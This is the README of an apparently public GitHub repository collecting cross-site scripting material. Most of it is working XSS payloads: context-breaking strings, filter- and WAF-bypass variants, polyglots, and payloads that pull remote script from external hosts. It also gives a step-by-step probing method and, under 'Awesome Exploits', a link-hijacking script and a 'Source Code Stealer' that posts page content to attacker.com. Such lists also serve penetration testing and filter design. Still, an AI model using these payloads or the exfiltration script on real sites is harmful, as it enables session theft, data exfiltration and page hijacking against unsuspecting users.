AwesomeXSS/README.md

# AwesomeXSS
Awesome XSS stuff.
Put this repo on watch. I will be updating it regularly.

### Awesome Books
- [XSS Cheat Sheet By Brute Logic](https://leanpub.com/xss)

### Awesome Websites
- [brutelogic.com.br](http://brutelogic.com.br)
- [respectxss.blogspot.in](https://respectxss.blogspot.in/)

### Awesome Challenges
- [Google's XSS Challenge](https://xss-game.appspot.com/)
- [prompt(1) to win](http://prompt.ml/)

### Awesome People
- [Rodolfo Assis](https://twitter.com/brutelogic)
- [Ashar Javed](https://twitter.com/soaj1664ashar)
- [Somdev Sangwan](https://twitter.com/s0md3v) because I made this repo :3

### Awesome Reads & Presentations
- [XSS in Sarahah](http://www.shawarkhan.com/2017/08/sarahah-xss-exploitation-tool.html)
- [Bypass Any WAF for XSS](https://teamultimate.in/bypass-waf-xss-easily/)
- [XSS in Facebook via PNG Content Type](https://whitton.io/articles/xss-on-facebook-via-png-content-types/)
- [How I met your girlfriend](https://www.youtube.com/watch?v=fWk_rMQiDGc)
- [How to Find 1,352 Wordpress XSS Plugin Vulnerabilities in one hour](https://www.youtube.com/watch?v=9ADubsByGos)
- [Blind XSS](https://www.youtube.com/watch?v=OT0fJEtz7aE)
- [Copy Pest](https://www.slideshare.net/x00mario/copypest)

### Awesome Tools
- [XSStrike](https://github.com/UltimateHackers/XSStrike)
- [KNOXSS](http://knoxss.me/)
- [BeEF](https://github.com/beefproject/beef)
- [JShell](https://github.com/UltimateHackers/JShell)

### Awesome Payloads
```
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>
```
Here's an interesting XSS polyglot by [Ahmed Elsobky](https://github.com/0xsobky/):
```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

### Awesome Tags & Event Handlers
- [105 Event Handlers with description](https://github.com/UltimateHackers/AwesomeXSS/blob/master/Database/event-handlers.md)
- [200 Event Handlers without description](http://pastebin.com/raw/WwcBmz5J)


Some HTML Tags that you will be using
```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```

### Awesome Context Breaking

#### Simple Context
```
<svg onload=alert()>
</tag><svg onload=alert()>
```

#### Attribute Context
```
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autocous/onfocus="alert()
```
#### JavaScript Context
```
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
```

### Awesome Confirm Variants
Yep, confirm because alert is too mainstream.
```
confirm()
confirm``
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
```

### Awesome Exploits
##### Replace all links
```javascript
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
```
##### Source Code Stealer
```javascript
var request = new XMLHttpRequest();
request.open("GET", url, true);
request.send();
request.onreadystatechange = function() {
    if (request.readyState == 4)
	      response = request.responseText;
	      var dump = new XMLHttpRequest();
	      dump.open("POST", "attacker.com/dump.php", true)
	      dump.send(response);
}
```
A good compilation of advanced XSS exploits can be found [here](http://www.xss-payloads.com/payloads-list.html?a#category=all)

### Awesome Probing
If nothing of this works, take a look at **Awesome Bypassing** section

First of all, enter a non-malicious string like **d3v** and look at the source code to get an idea about number and contexts of refelections.
<br>Now for attribute context, check if double quotes (") are being filtered by entering **x"d3v**. If it gets altered to **x&amp;quot;d3v**, chances are that proper security measures are in place. If this happens, try doing the same for single quotes (') by entering **x'd3v**, if it gets altered to **x&amp;apos;**, you are doomed. The only thing you can try is encoding.<br>
If the quotes are not being filtered, you can simply try payloads from **Awesome Context Breaking** section.
<br>For javascript context, check which quotes are being used for example if they are doing
```
variable = 'value' or variable = "value"
```
Now lets say single quotes (') are in use, in that case enter **x'd3v**. If it gets altered to **x\\'d3v**, try escaping the backslash (\) by adding a backslash to your probe i.e. **x\\'d3v**. If it works use the following payload:
```
\'-alert()//
```
But if it gets altered to **x\\\\'d3v**, the only thing you can try is closing the script tag itself by using
```
</script><svg onload=alert()>
```
For simple HTML context, the probe is **x&gt;d3v**. If it gets altered to **x&amp;gt;d3v**, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potenial filters. The dummy tag I like to use is **x&lt;xxx&gt;**. If it gets stripped or altered in any way, it means the filter is looking for a pair of **<** and **>**. It can simply bypassed using
```
<svg onload=alert()//
```
or this (it will not work in all cases)
```
<svg onload=alert()
```
If the your dummy tags lands in the source code as it is, go for any of these payloads
```
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
```

### Awesome Bypassing

**Note:** None of these payloads use single (') or double quotes (").

- Without event handlers
```
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
```
- Without space
```
<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>
```
- Without slash (/)
```
<svg onload=confirm()>
<img src=x onerror=confirm()>
```
- Without equal sign (=)
```
<script>confirm()</script>
```
- Without closing angular bracket (>)
```
<svg onload=confirm()//
```
- Without alert, confirm, prompt
```
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
```
- Without a Valid HTML tag
```
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
```

- Bypass tag blackilisting
```
</ScRipT>
</script
</script/>
</script x>
```

**Filter bypass procedure by [Rodolfo Assis](https://twitter.com/rodoassis)**
```
<x onxxx=1
%3Cx onxxx=1
<%78 onxxx=1
<x %6Fnxxx=1
<x o%6Exxx=1
<x on%78xx=1
<x onxxx%3D1
<X onxxx=1
<x ONxxx=1
<x OnXxx=1
<X OnXxx=1
<x onxxx=1 onxxx=1
<x/onxxx=1
<x%09onxxx=1
<x%0Aonxxx=1
<x%0Conxxx=1
<x%0Donxxx=1
<x%2Fonxxx=1
<x 1='1'onxxx=1
<x 1="1"onxxx=1
<x </onxxx=1
<x 1=">" onxxx=1
<http://onxxx%3D1/
<x%2F1=">%22OnXxx%3D1
```

### Awesome Encoding
Come back later

### Awesome Tips & Tricks
- http(s):// can be shortened to // or /\\.
- **document.cookie** can be shortened to **cookie**. It applies to other DOM objects as well.
- alert and other pop-up functions don't need a value, so stop doing **alert('XSS')** and start doing **alert()**
- You can use **//** to close a tag instead of **>**.
- I have found that **confirm** is the least detected pop-up function so stop using **alert**.
- Quotes around attribute value aren't neccessary as long as it doesn't contain spaces. You can use **&lt;script src=//14.rs&gt;** instead of **&lt;script src="//14.rs"&gt;**
- The shortest independent "XSS" payload is **&lt;embed src=//14.rs&gt;** (19 chars)

### Awesome Credits
All the payloads are crafted by me unless specified.
Thanks to my big brother [Rodolfo Assis](https://twitter.com/rodoassis) whose writings inspired me to become an XSSLord.